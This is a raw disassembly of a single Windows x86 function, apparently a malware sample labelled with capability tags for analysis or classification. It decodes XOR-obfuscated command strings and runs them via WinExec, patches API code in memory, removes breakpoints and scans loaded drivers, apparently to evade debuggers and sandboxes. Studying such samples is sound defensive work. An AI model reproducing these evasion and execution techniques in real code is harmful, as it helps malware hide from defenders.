Function at 0x100045a0
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Create process on windows
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, 0x2868
call fcn.10131430
push esi
push edi
call fcn.10003c40
call fcn.10004ea0
call fcn.100042f0
mov ecx, dword [0x11327d64]
movaps xmm4, xmmword [0x10196d40]
test al, al
je 0x1000474b
movups xmm0, xmmword [0x10196cc8]
mov al, byte [0x10196cd8]
xor edx, edx
mov byte [ebp - 0x20], al
mov dword [ebp - 4], edx
movups xmmword [ebp - 0x30], xmm0
cmp ecx, 2
jl 0x10004711
movaps xmm0, xmmword [0x10196d50]
movaps xmm5, xmmword [0x10196d20]
movaps xmm3, xmmword [0x10196d60]
movaps xmm6, xmmword [0x10196d30]
movaps xmmword [ebp - 0x50], xmm0
mov ecx, dword [ebp - 0x50]
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x30]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x30], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x2c]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x2c], xmm2
add edx, 8
cmp edx, 0x10
jl 0x10004630
mov dword [ebp - 4], edx
cmp edx, 0x11
jge 0x1000473f
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x30], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0x11
jl 0x10004711
push 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x10196b2c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1000478c
push 0x10196b38
push eax
call esi
mov esi, eax
test esi, esi
je 0x10004786
lea eax, [ebp - 0x34]
push eax
push 0x40
push 1
push esi
call edi
test eax, eax
je 0x10004786
mov byte [esi], 0xc3
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x2c8
lea eax, [ebp - 0x32c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x330], 0x10010
lea eax, [ebp - 0x330]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0x10196b6c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x1000496c
push 0x10196b78
push eax
call esi
test eax, eax
je 0x1000496c
call eax
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x1000496c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [0x10196cdc]
mov al, byte [0x10196cec]
xor edx, edx
cmp dword [0x11327d64], 2
movups xmmword [ebp - 0x30], xmm0
mov byte [ebp - 0x20], al
mov dword [ebp - 4], edx
jl 0x10004932
movaps xmm0, xmmword [0x10196d50]
movaps xmm5, xmmword [0x10196d20]
movaps xmm4, xmmword [0x10196d60]
movaps xmm6, xmmword [0x10196d30]
movaps xmm3, xmmword [0x10196d40]
movaps xmmword [ebp - 0x50], xmm0
mov ecx, dword [ebp - 0x50]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x30]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x30], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x2c]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x2c], xmm2
add edx, 8
cmp edx, 0x10
jl 0x10004851
mov dword [ebp - 4], edx
cmp edx, 0x11
jge 0x10004960
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x30], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0x11
jl 0x10004932
push 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.10004410
test al, al
je 0x10004aeb
movups xmm0, xmmword [0x10196cf0]
mov al, byte [0x10196d00]
xor edx, edx
cmp dword [0x11327d64], 2
movups xmmword [ebp - 0x30], xmm0
mov byte [ebp - 0x20], al
mov dword [ebp - 4], edx
jl 0x10004ab1
movaps xmm0, xmmword [0x10196d50]
movaps xmm5, xmmword [0x10196d20]
movaps xmm4, xmmword [0x10196d60]
movaps xmm6, xmmword [0x10196d30]
movaps xmm3, xmmword [0x10196d40]
movaps xmmword [ebp - 0x50], xmm0
mov ecx, dword [ebp - 0x50]
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x30]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x30], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x2c]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x2c], xmm2
add edx, 8
cmp edx, 0x10
jl 0x100049d0
mov dword [ebp - 4], edx
cmp edx, 0x11
jge 0x10004adf
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x30], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0x11
jl 0x10004ab1
push 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x10196b88
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x10004b75
push 0x10196b94
push eax
call esi
mov esi, eax
test esi, esi
je 0x10004b75
push 0x10196ba8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x10004b75
push 0x10196bb8
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x34], eax
test eax, eax
je 0x10004b75
mov eax, 0x6a
mov byte [ebp - 0x5e], 0x68
mov word [ebp - 0x60], ax
lea eax, [ebp - 4]
push eax
push 4
push 0xe
push esi
mov dword [ebp - 0x5d], 0xffffffff
mov byte [ebp - 0x59], 0xb8
call edi
test eax, eax
je 0x10004b75
movq xmm0, qword [ebp - 0x60]
mov eax, dword [ebp - 0x34]
movq qword [esi], xmm0
mov dword [esi + 8], eax
mov eax, 0xd0ff
mov word [esi + 0xc], ax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 0xe
push esi
call edi
mov esi, dword [ebx + 4]
cmp byte [esi], 0xcc
jne 0x10004b9b
lea eax, [ebp - 4]
push eax
push 0x40
push 1
push esi
call edi
test eax, eax
je 0x10004b9b
lea eax, [ebp - 4]
mov byte [esi], 0x90
push eax
push dword [ebp - 4]
push 1
push esi
call edi
call fcn.10004120
test al, al
je 0x10004d1b
movups xmm0, xmmword [0x10196d04]
mov al, byte [0x10196d14]
xor edx, edx
cmp dword [0x11327d64], 2
movups xmmword [ebp - 0x30], xmm0
mov byte [ebp - 0x20], al
mov dword [ebp - 4], edx
jl 0x10004ce1
movaps xmm0, xmmword [0x10196d50]
movaps xmm5, xmmword [0x10196d20]
movaps xmm3, xmmword [0x10196d60]
movaps xmm6, xmmword [0x10196d30]
movaps xmm4, xmmword [0x10196d40]
movaps xmmword [ebp - 0x50], xmm0
mov ecx, dword [ebp - 0x50]
nop word [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x30]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + edx - 0x30], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm5
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + edx - 0x2c]
xorps xmm2, xmm0
movd dword [ebp + edx - 0x2c], xmm2
add edx, 8
cmp edx, 0x10
jl 0x10004c00
mov dword [ebp - 4], edx
cmp edx, 0x11
jge 0x10004d0f
mov eax, 0x4bda12f7
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x36
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x30], cl
inc edx
mov dword [ebp - 4], edx
cmp edx, 0x11
jl 0x10004ce1
push 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
call fcn.10005240
mov esi, dword [ebx + 4]
mov byte [ebp - 5], 0x90
cmp byte [esi], 0xcc
jne 0x10004d5d
lea eax, [ebp - 4]
push eax
push 0x40
push 1
push esi
call edi
test eax, eax
je 0x10004d5d
push 0
push 1
lea eax, [ebp - 5]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 1
push esi
call edi
lea eax, [ebp - 0x34]
push eax
push 0x2000
lea eax, [ebp - 0x2860]
push eax
call sub.KERNEL32.dll_K32EnumDeviceDrivers
test eax, eax
je 0x10004e8f
mov edi, dword [ebp - 0x34]
cmp edi, 0x2000
jae 0x10004e8f
shr edi, 2
xor esi, esi
test edi, edi
je 0x10004e8f
nop word [eax + eax]
push 0x800
lea eax, [ebp - 0x860]
push eax
push dword [ebp + esi*4 - 0x2860]
call sub.KERNEL32.dll_K32GetDeviceDriverBaseNameA
test eax, eax
je 0x10004e6f
lea eax, [ebp - 0x860]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.100041b0
add esp, 8
lea ecx, [ebp - 0x30]
push 0
push 0x10196c90
call fcn.100052a0
cmp eax, 0xffffffff
jne 0x10004e87
push 0
push 0x10196ca0
lea ecx, [ebp - 0x30]
call fcn.100052a0
cmp eax, 0xffffffff
jne 0x10004e87
push 0
push 0x10196cac
lea ecx, [ebp - 0x30]
call fcn.100052a0
cmp eax, 0xffffffff
jne 0x10004e87
push 0
push 0x10196cb0
lea ecx, [ebp - 0x30]
call fcn.100052a0
cmp eax, 0xffffffff
jne 0x10004e87
push 0
push 0x10196cbc
lea ecx, [ebp - 0x30]
call fcn.100052a0
cmp eax, 0xffffffff
jne 0x10004e87
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0xf
jbe 0x10004e6f
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10004e65
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10004e81
push ecx
push edx
call fcn.1013141d
add esp, 8
inc esi
cmp esi, edi
jl 0x10004da0
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
lea ecx, [ebp - 0x30]
call fcn.10003ba0
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret